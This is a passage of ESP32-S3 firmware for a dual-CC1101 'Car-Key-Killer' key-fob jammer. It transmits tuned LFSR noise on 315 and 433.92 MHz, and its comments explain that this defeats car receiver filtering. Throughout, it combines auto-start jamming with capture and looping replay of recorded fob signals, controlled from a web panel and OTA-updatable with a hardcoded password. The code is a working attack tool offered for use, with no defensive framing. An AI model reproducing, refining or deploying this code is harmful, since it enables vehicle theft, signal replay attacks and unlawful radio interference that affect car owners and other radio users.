(unsigned)capRadioNum); u8g2.drawStr(0, 24, buf); // Progress bar for recording if (cm == CapMode::RECORDING) { uint32_t currentIdx, currentTransitions; noInterrupts(); currentIdx = capIdx; currentTransitions = capTransitions; interrupts(); const uint32_t pct = currentIdx * 100 / (CAP_BUF_BYTES * 8); u8g2.drawFrame(0, 26, 128, 5); u8g2.drawBox(0, 26, (uint8_t)(pct * 128 / 100), 5); snprintf(buf, sizeof(buf), "%lus / %us %lu tr", (unsigned long)(currentIdx / CAP_SAMPLE_HZ), (unsigned)CAP_DURATION_S, (unsigned long)currentTransitions); } else { // Replaying — show loop position const uint32_t pct = capRecBits ? capIdx * 100 / capRecBits : 0; u8g2.drawFrame(0, 26, 128, 5); u8g2.drawBox(0, 26, (uint8_t)(pct * 128 / 100), 5); snprintf(buf, sizeof(buf), "%lu bits looping", (unsigned long)capRecBits); } u8g2.drawStr(0, 40, buf); snprintf(buf, sizeof(buf), "%.1fC %lukB", (double)temperatureRead(), (unsigned long)(ESP.getFreeHeap() / 1024)); u8g2.drawStr(0, 55, buf); } else { // Normal jamming / standby display // Row 1: ANT1 if (r1) { char buf[20]; snprintf(buf, sizeof(buf), "1: %.3f MHz", (double)jamFreq1); u8g2.drawStr(0, 24, buf); oledDrawWaves(101, 19, nW); } else { u8g2.drawStr(0, 24, "1: [OFFLINE]"); } // Row 2: ANT2 if (r2) { char buf[20]; snprintf(buf, sizeof(buf), "2: %.3f MHz", (double)jamFreq2); u8g2.drawStr(0, 33, buf); oledDrawWaves(101, 28, nW); } else { u8g2.drawStr(0, 33, "2: [OFFLINE]"); } // Row 3: power { char buf[28]; snprintf(buf, sizeof(buf), "TX %d dBm max", (int)jamPower); u8g2.drawStr(0, 44, buf); } // Row 4: temp + heap OR FULL TX badge if (jam && r1 && r2) { u8g2.drawStr(0, 55, "[ 315 + 433.92 LOCK ]"); } else { char buf[28]; snprintf(buf, sizeof(buf), "%.1fC %lukB", (double)temperatureRead(), (unsigned long)(ESP.getFreeHeap() / 1024)); u8g2.drawStr(0, 55, buf); } } // Row 5: uptime small { const uint32_t up = millis() - uptimeStart; char buf[20]; snprintf(buf, sizeof(buf), "up %uh%um%us", (unsigned)(up/3600000), (unsigned)((up/60000)%60), (unsigned)((up/1000)%60)); u8g2.drawStr(0, 63, buf); } } // Page 1 — Frequency + Hops static void oledDrawFreq() { // Yellow zone header u8g2.setFont(u8g2_font_6x10_tf); u8g2.drawStr(2, 10, "FREQ & HOPS"); oledPageDots(1); u8g2.setFont(u8g2_font_5x7_tf); char buf[24]; snprintf(buf, sizeof(buf), "R1 %.4f MHz", (double)jamFreq1); u8g2.drawStr(0, 24, buf); snprintf(buf, sizeof(buf), " %lu hops", (unsigned long)hopCount1); u8g2.drawStr(0, 33, buf); snprintf(buf, sizeof(buf), "R2 %.4f MHz", (double)jamFreq2); u8g2.drawStr(0, 45, buf); snprintf(buf, sizeof(buf), " %lu hops", (unsigned long)hopCount2); u8g2.drawStr(0, 54, buf); // Total hops per second (approx from 5s heartbeat window) const uint32_t up = (millis() - uptimeStart) / 1000; if (up > 0) { snprintf(buf, sizeof(buf), "~%lu h/s total", (unsigned long)((hopCount1 + hopCount2) / up)); u8g2.drawStr(0, 63, buf); } } // Page 2 — System Health static void oledDrawHealth() { // Yellow zone header u8g2.setFont(u8g2_font_6x10_tf); u8g2.drawStr(2, 10, "SYS HEALTH"); oledPageDots(2); u8g2.setFont(u8g2_font_5x7_tf); char buf[24]; snprintf(buf, sizeof(buf), "TEMP %.1f C", (double)temperatureRead()); u8g2.drawStr(0, 24, buf); const uint32_t freeK = ESP.getFreeHeap() / 1024; const uint32_t minK = (minFreeHeap == 0xFFFFFFFF ? ESP.getFreeHeap() : minFreeHeap) / 1024; snprintf(buf, sizeof(buf), "HEAP %lukB min%lukB", freeK, minK); u8g2.drawStr(0, 33, buf); const uint32_t up = millis() - uptimeStart; snprintf(buf, sizeof(buf), "UP %uh %um %us", (unsigned)(up/3600000), (unsigned)((up/60000)%60), (unsigned)((up/1000)%60)); u8g2.drawStr(0, 44, buf); const int effDbm = (int)jamPower; const uint32_t effMw = (uint32_t)roundf(powf(10.0f, effDbm / 10.0f)); snprintf(buf, sizeof(buf), "PWR %ddBm / %umW", effDbm, min(effMw, (uint32_t)9999)); u8g2.drawStr(0, 55, buf); snprintf(buf, sizeof(buf), "WIFI %d ESPNOW %u", WiFi.softAPgetStationNum(), (unsigned)espNowActivePeerCount()); u8g2.drawStr(0, 63, buf); } // Full-screen inverted notification overlay static void oledDrawNotif() { u8g2.drawBox(0, 0, 128, 64); u8g2.setDrawColor(0); u8g2.setFont(u8g2_font_7x13_tf); int16_t x1 = (128 - (int16_t)strlen(notifL1) * 7) / 2; u8g2.drawStr((uint8_t)max((int16_t)0, x1), 26, notifL1); u8g2.setFont(u8g2_font_6x10_tf); int16_t x2 = (128 - (int16_t)strlen(notifL2) * 6) / 2; u8g2.drawStr((uint8_t)max((int16_t)0, x2), 44, notifL2); u8g2.setDrawColor(1); } // Main OLED update — call from loop() every pass; self-throttles to 100ms. static void oledTick() { if (!oledOk) return; const uint32_t now = millis(); if (now - oledTickMs < 100) return; oledTickMs = now; // Advance wave animation every 220ms (4 frames → ~1.1s full cycle) if (now - waveMs >= 220) { waveMs = now; waveFrame = (waveFrame + 1) & 3; } // Consume encoder — manual page change resets the auto-cycle timer if (encDelta != 0) { noInterrupts(); const int8_t d = encDelta; encDelta = 0; interrupts(); oledPage = (uint8_t)((oledPage + 3 + (d > 0 ? 1 : -1)) % 3); oledPageMs = now; // reset auto-advance so page stays visible } // Auto page-advance every 8s (not during notification, not if encoder just moved) if (now > notifEnd && now - oledPageMs >= 8000) { oledPageMs = now; oledPage = (oledPage + 1) % 3; } u8g2.clearBuffer(); if (now < notifEnd) { oledDrawNotif(); } else if (oledPage == 0) { oledDrawStatus(); } else if (oledPage == 1) { oledDrawFreq(); } else { oledDrawHealth(); } u8g2.sendBuffer(); } // ─── Galois LFSR broadband noise generator ─────────────────────────────────── // // Replaces LEDC fixed-frequency PWM which produced strong predictable sidebands // at ±120 kHz, ±240 kHz etc — a pattern car receivers can filter out. // // A 32-bit Galois LFSR clocked at 50 kHz generates a maximal-length pseudo- // random bit sequence (period 2^32-1 = ~23.8 hours at 50 kbps). The output // is spectrally flat: power spreads uniformly across the modulated bandwidth. // R2 (433.92 MHz) uses max CC1101 deviation (~810 kHz FM noise). R1 (315 MHz) // uses narrow deviation so most energy stays on-channel. // // Polynomial 0xB4BCD35C: taps at bits 0,2,6,7,16,18,19,21 — proven maximal. // Both radios use different bit positions of the same sequence for uncorrelated // but equally flat noise on each band. static inline IRAM_ATTR uint32_t lfsrStep(uint32_t s) { return (s >> 1) ^ (-(s & 1u) & 0xB4BCD35Cu); } static void IRAM_ATTR noiseISR() { const uint32_t s = lfsrStep(s_lfsr); s_lfsr = s; if (s_noiseEn1) gpio_set_level((gpio_num_t)CC1101_1_GDO0, (s >> 0) & 1u); else gpio_set_level((gpio_num_t)CC1101_1_GDO0, 0); if (s_noiseEn2) gpio_set_level((gpio_num_t)CC1101_2_GDO0, (s >> 7) & 1u); else gpio_set_level((gpio_num_t)CC1101_2_GDO0, 0); } static void noiseGenStart() { if (s_noiseTimer) { timerAlarmDisable(s_noiseTimer); timerDetachInterrupt(s_noiseTimer); timerEnd(s_noiseTimer); s_noiseTimer = nullptr; } s_lfsr = esp_random(); if (s_lfsr == 0) s_lfsr = 0xDEADBEEFu; // LFSR must never be zero gpio_set_direction((gpio_num_t)CC1101_1_GDO0, GPIO_MODE_OUTPUT); gpio_set_direction((gpio_num_t)CC1101_2_GDO0, GPIO_MODE_OUTPUT); // Hardware timer at 50 kHz — true ISR, no jitter, no FreeRTOS overhead. // prescaler 80 → 1 MHz tick, alarm at 20 = 20 µs period = 50 kHz. s_noiseTimer = timerBegin(2, 80, true); // timer 2, 1 MHz, count up timerAttachInterrupt(s_noiseTimer, &noiseISR, true); // edge triggered timerAlarmWrite(s_noiseTimer, 20, true); // 20 µs auto-reload timerAlarmEnable(s_noiseTimer); } // Web server handlers const char kHtml[] = R"HTML( CC1101 JAMMER

CC1101 JAMMER

"only tryan make a dollar"
ESP32-S3 • LOCK 315 MHz + LOCK 433.92 MHz • Dual-carrier LFSR jam
v2.0 // LFSR+VCO

System Metrics

Uptime
CC1101 TX (max)
dBm
ERP (chip only)
dBm
ERP Watts
mW
R1 hardware
R2 hardware
Jam on boot
Temp
°C
Free Heap
kB
Min Heap
kB
AP Clients
Nodes (ESP-NOW)

Locked jam carriers

 Radio 1 — 315.000 MHz (NA) narrow FM + LFSR
 Radio 2 — 433.920 MHz (EU/global) max FM noise + LFSR

2-Minute History

Temperature (°C)
Free Heap (kB)

Radio Status

Radio 1 — 315 MHz LOCK
Radio 2 — 433.92 MHz LOCK

Controls

TX power is fixed at +10 dBm (CC1101 max, TI SWRS061). Radiated level includes your antenna gain only — no external PA.

Signal Capture / Replay

State
IDLE
Bits
Duration
Est Bitrate
Duty Cycle
Cap Freq

Capture history (NVS)

#Time (uptime)MHzBitsRadioMod
REC pauses jamming, RX via CC1101 GDO0 (SWRS061). STOP saves to history if ≥100 bits. REPLAY loops async TX. If boot jam is OFF, capture works without fighting auto-TX.

System Log  


rusian marks atm
)HTML"; static void handleRoot() { // ETag based on compile timestamp — browser caches until next flash server.sendHeader("ETag", "\"" __DATE__ __TIME__ "\""); server.sendHeader("Cache-Control", "no-cache"); // revalidate via ETag, don't re-download if (server.hasHeader("If-None-Match") && server.header("If-None-Match") == "\"" __DATE__ __TIME__ "\"") { server.send(304); // Not Modified — browser uses cached copy, saves ~15 KB return; } server.setContentLength(sizeof(kHtml) - 1); server.send(200, "text/html; charset=utf-8", ""); server.sendContent(kHtml); } static void handleLog() { server.send(200, "text/plain; charset=utf-8", getLogsText()); } static void handleTelemetry() { float tempC = temperatureRead(); const int8_t effDbm = jamPower; const float effWatts = powf(10.0f, effDbm / 10.0f) / 1000.0f; String err1 = jsonEscape(radio1Error); String err2 = jsonEscape(radio2Error); static char jsonBuf[1400]; snprintf(jsonBuf, sizeof(jsonBuf), "{" "\"uptime_ms\":%lu," "\"free_heap\":%lu," "\"temp_c\":%.1f," "\"jamming_enabled\":%s," "\"auto_start_jam\":%s," "\"jam_power\":%d," "\"jam_power_idx\":%d," "\"eff_power_dbm\":%d," "\"eff_power_w\":%.3f," "\"jam_freq1\":%.4f," "\"jam_freq2\":%.4f," "\"jam_fixed\":true," "\"radio1_status\":%d," "\"radio1_error\":\"%s\"," "\"radio1_freq\":%.4f," "\"radio1_active\":%s," "\"radio1_hw_ok\":%s," "\"radio2_status\":%d," "\"radio2_error\":\"%s\"," "\"radio2_freq\":%.4f," "\"radio2_active\":%s," "\"radio2_hw_ok\":%s," "\"hop_count1\":%lu," "\"hop_count2\":%lu," "\"min_heap\":%lu," "\"ap_clients\":%d," "\"espnow_ok\":%s," "\"espnow_peers\":%u" "}", (unsigned long)(millis() - uptimeStart), (unsigned long)ESP.getFreeHeap(), (double)tempC, jammingEnabled ? "true" : "false", autoStartJam ? "true" : "false", (int)jamPower, (int)jamPowerIdx, (int)effDbm, (double)effWatts, (double)jamFreq1, (double)jamFreq2, (int)radio1Status, err1.c_str(), (double)jamFreq1, radio1Status == 2 ? "true" : "false", radio1Status != -1 ? "true" : "false", (int)radio2Status, err2.c_str(), (double)jamFreq2, radio2Status == 2 ? "true" : "false", radio2Status != -1 ? "true" : "false", (unsigned long)hopCount1, (unsigned long)hopCount2, (unsigned long)(minFreeHeap == 0xFFFFFFFF ? ESP.getFreeHeap() : minFreeHeap), (int)WiFi.softAPgetStationNum(), s_espNowReady ? "true" : "false", (unsigned)espNowActivePeerCount() ); server.send(200, "application/json; charset=utf-8", jsonBuf); } static void handleToggle() { if (jammingEnabled) { stopJamming(); oledNotify("STANDBY", "Jamming stopped"); } else { jammingEnabled = true; // must be set before startJamming so sweep loop and watchdog see it startJamming(); if (radio1Status != 2 && radio2Status != 2) { jammingEnabled = false; // both radios failed — don't pretend we're jamming oledNotify("RADIO FAIL", "Check connections"); } else { oledNotify("JAMMING", "STARTED"); } } // Save new state preferences.putBool("jamEnabled", jammingEnabled); String json = "{\"enabled\":" + String(jammingEnabled ? "true" : "false") + "}"; server.send(200, "application/json; charset=utf-8", json); } // POST {"auto_start_jam":true|false} — jam on AC power-up (TI init path unchanged). static void handleAutoStartJam() { if (server.hasArg("plain")) { String body = server.arg("plain"); const int p = body.indexOf("\"auto_start_jam\""); if (p >= 0) { int c = body.indexOf(':', p) + 1; while (c < (int)body.length() && (body.charAt(c) == ' ' || body.charAt(c) == '\t')) c++; autoStartJam = body.substring(c, c + 4) == "true"; preferences.putBool("autoStartJam", autoStartJam); logLine("[NVS] autoStartJam=" + String(autoStartJam ? "true" : "false")); oledNotify("BOOT JAM", autoStartJam ? "ON next power-up" : "OFF next power-up"); } } server.send(200, "application/json; charset=utf-8", String("{\"success\":true,\"auto_start_jam\":") + (autoStartJam ? "true" : "false") + "}"); } static void handleCaptureHistory() { String j = "["; for (uint8_t i = 0; i < capHistoryCount; i++) { const CapHistoryEntry& e = capHistory[i]; if (i) j += ","; j += "{\"uptime_ms\":" + String(e.uptime_ms) + ",\"freq\":" + String(e.freq_mhz, 3) + ",\"bits\":" + String(e.bits) + ",\"radio\":" + String((unsigned)e.radio_num) + ",\"mod\":\"" + String(e.is_ook ? "ook" : "fsk") + "\"}"; } j += "]"; server.send(200, "application/json; charset=utf-8", j); } static void handleHealth() { static char buf[160]; snprintf(buf, sizeof(buf), "{\"ok\":true,\"uptime_ms\":%lu,\"heap\":%lu,\"ap_clients\":%d," "\"espnow_ok\":%s,\"espnow_peers\":%u}", (unsigned long)(millis() - uptimeStart), (unsigned long)ESP.getFreeHeap(), (int)WiFi.softAPgetStationNum(), s_espNowReady ? "true" : "false", (unsigned)espNowActivePeerCount()); server.send(200, "application/json; charset=utf-8", buf); } // ─── Capture / replay HTTP handlers ────────────────────────────────────────── static void handleCaptureStart() { const float freq = server.hasArg("freq") ? server.arg("freq").toFloat() : 315.0f; const uint8_t radio = server.hasArg("radio") ? (uint8_t)server.arg("radio").toInt() : 1; const bool isOOK = server.hasArg("mod") ? (server.arg("mod") == "ook") : true; startCapture(freq, radio, isOOK); server.send(200, "application/json", "{\"status\":\"recording\",\"freq\":" + String(freq, 3) + ",\"duration_ms\":" + String(CAP_DURATION_S * 1000) + "}"); } static void handleCaptureStop() { stopCapture(); server.send(200, "application/json", "{\"status\":\"stopped\",\"bits\":" + String(capRecBits) + "}"); } static void handleCaptureReplay() { const uint8_t radio = server.hasArg("radio") ? (uint8_t)server.arg("radio").toInt() : 1; // startReplay doesn't need isOOK from UI because it uses capIsOOK saved during capture startReplay(radio); server.send(200, "application/json", "{\"status\":\"replaying\",\"bits\":" + String(capRecBits) + ",\"freq\":" + String(capFreq, 3) + "}"); } static void handleCaptureStatus() { static const char* const modeStr[] = {"idle","recording","recorded","replaying"}; const uint8_t m = (uint8_t)capMode; uint32_t currentIdx; noInterrupts(); currentIdx = capIdx; interrupts(); static char buf[512]; int n = snprintf(buf, sizeof(buf), "{\"mode\":%u,\"mode_str\":\"%s\"," "\"bits\":%lu,\"buf_bits\":%lu,\"rec_bits\":%lu," "\"pct\":%lu,\"freq\":%.3f", (unsigned)m, modeStr[m < 4 ? m : 0], (unsigned long)currentIdx, (unsigned long)(CAP_BUF_BYTES * 8), (unsigned long)capRecBits, (unsigned long)(currentIdx * 100UL / (CAP_BUF_BYTES * 8)), (double)capFreq); if (capMode == CapMode::RECORDED || capMode == CapMode::REPLAYING) { if (capRecBits >= 100) { uint32_t ones = 0, transitions = 0; uint8_t prev = (capBuf[0] >> 0) & 1u; for (uint32_t i = 1; i < capRecBits; i++) { const uint8_t b = (capBuf[i >> 3] >> (i & 7)) & 1u; if (b) ones++; if (b != prev) { transitions++; prev = b; } } const uint32_t avgRL = (transitions > 0) ? (capRecBits / transitions) : capRecBits; n += snprintf(buf + n, sizeof(buf) - n, ",\"dur_ms\":%lu,\"transitions\":%lu,\"est_bps\":%lu,\"duty_pct\":%lu", (unsigned long)(capRecBits * 1000 / CAP_SAMPLE_HZ), (unsigned long)transitions, (unsigned long)(avgRL > 0 ? CAP_SAMPLE_HZ / avgRL : 0), (unsigned long)(ones * 100UL / capRecBits)); } } snprintf(buf + n, sizeof(buf) - n, "}"); server.send(200, "application/json; charset=utf-8", buf); } // Returns 256 data points (0-100 = % carrier-on) for waveform canvas rendering. // Static buffer: worst case = 256 * 4 chars ("100,") + 2 brackets + nul = 1026 bytes. static void handleCaptureWave() { if (!capRecBits) { server.send(200, "application/json", "[]"); return; } static char waveBuf[1280]; const uint32_t N = 256; const uint32_t bpp = max(1u, capRecBits / N); int pos = 0; waveBuf[pos++] = '['; for (uint32_t p = 0; p < N; p++) { uint32_t ones = 0; const uint32_t start = p * bpp; const uint32_t end = min(start + bpp, capRecBits); for (uint32_t b = start; b < end; b++) { ones += (capBuf[b >> 3] >> (b & 7)) & 1u; } pos += snprintf(waveBuf + pos, sizeof(waveBuf) - pos, "%lu%s", (unsigned long)(bpp > 0 ? ones * 100 / bpp : 0), (p < N - 1) ? "," : ""); } waveBuf[pos++] = ']'; waveBuf[pos] = '\0'; server.send(200, "application/json", waveBuf); } static void handleNotFound() { const String uri = server.uri(); logLine("[HTTP] 404 " + uri); server.send(404, "text/plain", "404: Not found"); } void setup() { // Shorter delay for Serial to initialize on ESP32-S3 in production Serial.begin(115200); // OLED init — SW_I2C bit-bangs GPIO17/18 directly; no Wire needed. // begin() always returns true for SW_I2C so just call it and force oledOk. u8g2.begin(); u8g2.setContrast(255); // max brightness — some panels boot dim oledOk = true; Serial.println("[OLED] SW_I2C init done (GPIO17=SDA GPIO18=SCL)"); u8g2.clearBuffer(); u8g2.setFont(u8g2_font_7x13_tf); u8g2.drawStr(18, 22, "CC1101"); u8g2.drawStr(12, 38, "JAMMER"); u8g2.setFont(u8g2_font_5x7_tf); u8g2.drawStr(14, 54, "ESP32-S3 BOOTING..."); u8g2.sendBuffer(); // Wait for Serial to be ready (timeout after 500ms for production) unsigned long start = millis(); while (!Serial && (millis() - start) < 500) { delay(10); } // Immediate debug output to verify boot Serial.println("=== CAR-KEY-KILLER BOOT START ==="); Serial.flush(); uptimeStart = millis(); // Load preferences (TX power always max; no PA gain; no sweep) preferences.begin("jammer4", false); autoStartJam = preferences.getBool("autoStartJam", DEFAULT_AUTO_START_JAM); jamPowerIdx = DEFAULT_JAM_POWER_IDX; jamPower = kPowerTable[jamPowerIdx]; preferences.putInt("jamPowerIdx", (int)jamPowerIdx); capHistoryLoad(); logLine("[NVS] autoStartJam=" + String(autoStartJam ? "true" : "false") + " jamPower=" + String(jamPower) + " dBm (fixed max, TI PATABLE)"); logLine("[BOOT] CC1101 Key-Fob Jammer starting"); logLine("[BOOT] ESP32-S3 DevKitC-1"); Serial.flush(); // Rotary encoder — interrupt on CLK falling edge pinMode(ENC_CLK_PIN, INPUT_PULLUP); pinMode(ENC_DT_PIN, INPUT_PULLUP); encLastClk = digitalRead(ENC_CLK_PIN); attachInterrupt(digitalPinToInterrupt(ENC_CLK_PIN), encISR, CHANGE); logLine("[ENC] Rotary encoder ready GPIO14=CLK GPIO21=DT"); oledBootMsg("SPI init..."); // Initialize SPI (required for CC1101 communication) Serial.println("[SPI] Initializing SPI bus..."); Serial.flush(); // Drive CS pins HIGH before SPI init to prevent bus collisions pinMode(CC1101_1_CS, OUTPUT); digitalWrite(CC1101_1_CS, HIGH); pinMode(CC1101_2_CS, OUTPUT); digitalWrite(CC1101_2_CS, HIGH); delay(10); // Initialize the FSPI bus on the explicit ESP32-S3 pins spi.begin(SPI_SCK_PIN, SPI_MISO_PIN, SPI_MOSI_PIN, -1); // Pull MISO high to prevent floating bus reads from returning garbage pinMode(SPI_MISO_PIN, INPUT_PULLUP); logLine("[SPI] SPI bus initialized on SCK=" + String(SPI_SCK_PIN) + " MISO=" + String(SPI_MISO_PIN) + " MOSI=" + String(SPI_MOSI_PIN) + " speed=" + String(SPI_SPEED_HZ)); delay(150); // Allow CC1101 VCC to stabilize oledBootMsg("WiFi AP start..."); // Start WiFi AP Serial.println("[DEBUG] Starting WiFi AP..."); Serial.flush(); WiFi.persistent(false); WiFi.setSleep(false); WiFi.mode(WIFI_MODE_AP); WiFi.softAPdisconnect(true); delay(100); WiFi.softAPConfig(IPAddress(192, 168, 4, 1), IPAddress(192, 168, 4, 1), IPAddress(255, 255, 255, 0)); bool apOk = false; for (int attempt = 1; attempt <= 5 && !apOk; ++attempt) { if (strlen(WIFI_AP_PASS) == 0) { apOk = WiFi.softAP(WIFI_AP_SSID, nullptr, 1, 0, 4); } else { apOk = WiFi.softAP(WIFI_AP_SSID, WIFI_AP_PASS, 1, 0, 4); } Serial.println("[DEBUG] WiFi.softAP attempt " + String(attempt) + ": " + (apOk ? "OK" : "FAILED")); Serial.flush(); if (!apOk) { delay(300); } } Serial.println(String("[DEBUG] WiFi.softAP result: ") + (apOk ? "OK" : "FAILED")); Serial.flush(); if (!apOk) { logLine("[WIFI] softAP failed"); Serial.println("[ERROR] WiFi softAP failed"); Serial.flush(); } delay(250); IPAddress ip = WiFi.softAPIP(); logLine("[WIFI] AP started: " + String(WIFI_AP_SSID) + " IP: " + ip.toString()); Serial.println("[WIFI] AP SSID: " + String(WIFI_AP_SSID)); Serial.println("[WIFI] AP IP: " + ip.toString()); Serial.flush(); if (apOk) { espNowInit(); } else { logLine("[ESPNOW] skipped (AP not up — need WiFi channel for ESP-NOW)"); } if (MDNS.begin("killer")) { MDNS.addService("http", "tcp", WEB_PORT); Serial.println("[MDNS] Started: http://killer.local"); } else { Serial.println("[MDNS] Failed"); } Serial.flush(); // Setup web server routes server.on("/", handleRoot); server.on("/api/log", handleLog); server.on("/api/telemetry", handleTelemetry); server.on("/api/health", handleHealth); server.on("/api/toggle", HTTP_POST, handleToggle); server.on("/api/auto_start_jam", HTTP_POST, handleAutoStartJam); server.on("/api/capture/start", handleCaptureStart); server.on("/api/capture/stop", handleCaptureStop); server.on("/api/capture/replay", handleCaptureReplay); server.on("/api/capture/status", handleCaptureStatus); server.on("/api/capture/wave", handleCaptureWave); server.on("/api/capture/history", HTTP_GET, handleCaptureHistory); server.onNotFound(handleNotFound); server.begin(); // OTA firmware updates over WiFi (connect to 'killer' AP, upload via PlatformIO OTA) ArduinoOTA.setHostname("killer"); ArduinoOTA.setPassword("killerpw"); ArduinoOTA.onStart([]() { logLine("[OTA] Update starting..."); }); ArduinoOTA.onEnd([]() { logLine("[OTA] Update complete, rebooting"); }); ArduinoOTA.onError([](ota_error_t e) { logLine("[OTA] Error: " + String(e)); }); ArduinoOTA.begin(); logLine("[OTA] Ready — hostname: killer, port: 3232"); logLine("[HTTP] Server started on port " + String(WEB_PORT)); Serial.println("[HTTP] Server started on port " + String(WEB_PORT)); Serial.flush(); if (autoStartJam) { jammingEnabled = true; oledBootMsg("Radio init..."); startJamming(); if (radio1Status == 2 || radio2Status == 2) { oledBootMsg("JAMMING - ACTIVE!"); } else { oledBootMsg("RADIO INIT FAILED"); } } else { jammingEnabled = false; oledBootMsg("Probe CC1101..."); probeRadiosStandby(); oledBootMsg("Standby — boot jam OFF"); logLine("[JAM] Boot jam disabled; radios probed (standby). Use web or toggle to TX."); } delay(800); // hold boot result on display briefly before switching to live pages } void loop() { espNowTick(); ArduinoOTA.handle(); server.handleClient(); oledTick(); yield(); const uint32_t now = millis(); // Capture state machine — runs in main loop (ISR sets flags, loop acts on them) // Signal-present detection: fire OLED "SIGNAL!" once per session when // the ISR has seen enough stable bits to indicate a real RF burst. // capLongRuns > 10 filters out thermal noise which transitions almost constantly. uint32_t currentLongRuns; noInterrupts(); currentLongRuns = capLongRuns; interrupts(); if (capMode == CapMode::RECORDING && !capSigNotified && currentLongRuns > 10) { capSigNotified = true; uint32_t currentIdx; noInterrupts(); currentIdx = capIdx; interrupts(); oledNotify("SIGNAL!", "CAUGHT -- PRESS STOP", 3000); logLine("[CAP] Signal detected: " + String(currentLongRuns) + " valid symbols @ bit " + String(currentIdx)); } if (capMode == CapMode::RECORDING && capBufFull) { capTimerStop(); noInterrupts(); capRecBits = capIdx; interrupts(); capBufFull = false; capMode = CapMode::RECORDED; gpio_set_direction(capGdoPin, GPIO_MODE_OUTPUT); gpio_set_level(capGdoPin, 0); logLine("[CAP] Buffer full: " + String(capRecBits) + " bits (" + String(capRecBits * 1000 / CAP_SAMPLE_HZ) + " ms) captured"); oledNotify("CAPTURED", (String(capRecBits * 1000 / CAP_SAMPLE_HZ) + "ms").c_str()); if (capRecBits >= 100) { capHistoryAppend(capRecBits, capFreq, capRadioNum, capIsOOK); } if (capPrevJamming) { capPrevJamming = false; jammingEnabled = true; startJamming(); } } // Auto-reinit watchdog: if jamming should be active but a radio failed, retry every 30s if (jammingEnabled && now - lastReInitCheck >= 30000) { lastReInitCheck = now; bool needReinit = (radio1Status != 2 || radio2Status != 2); if (needReinit) { logLine("[WDT] Radio failure detected, attempting reinit..."); oledNotify("RADIO REINIT", "R1 + R2..."); startJamming(); } } static uint32_t lastHeartbeat = 0; if (now - lastHeartbeat >= 5000) { lastHeartbeat = now; const uint32_t freeHeap = ESP.getFreeHeap(); if (freeHeap < minFreeHeap) minFreeHeap = freeHeap; // Low-heap protection: heap below 15 KB risks crash — reboot cleanly if (freeHeap < 15360) { logLine("[CRIT] Heap critical: " + String(freeHeap) + "B — rebooting"); delay(500); ESP.restart(); } // Temperature alarm: log once per minute if over threshold const float tempC = temperatureRead(); if (tempC > 75.0f && now - lastTempWarnMs > 60000) { lastTempWarnMs = now; logLine("[WARN] High temp: " + String(tempC, 1) + "°C"); } Serial.println("[HEARTBEAT] up=" + String(now - uptimeStart) + "ms heap=" + String(freeHeap) + " minHeap=" + String(minFreeHeap) + " temp=" + String(tempC, 1) + "°C" + " hops=" + String(hopCount1) + "/" + String(hopCount2)); Serial.flush(); } // Handle serial input for debugging if (Serial.available()) { String cmd = Serial.readStringUntil('\n'); cmd.trim(); if (cmd == "start") { jammingEnabled = true; startJamming(); } else if (cmd == "stop") { stopJamming(); } else if (cmd == "status") { Serial.println("Jamming: " + String(jammingEnabled ? "ON" : "OFF")); Serial.println("Boot auto-jam: " + String(autoStartJam ? "ON" : "OFF")); Serial.println("Power: " + String(jamPower) + " dBm (fixed max)"); Serial.println("R1 hw_ok=" + String(radio1Status != -1) + " st=" + String((int)radio1Status)); Serial.println("R2 hw_ok=" + String(radio2Status != -1) + " st=" + String((int)radio2Status)); } } }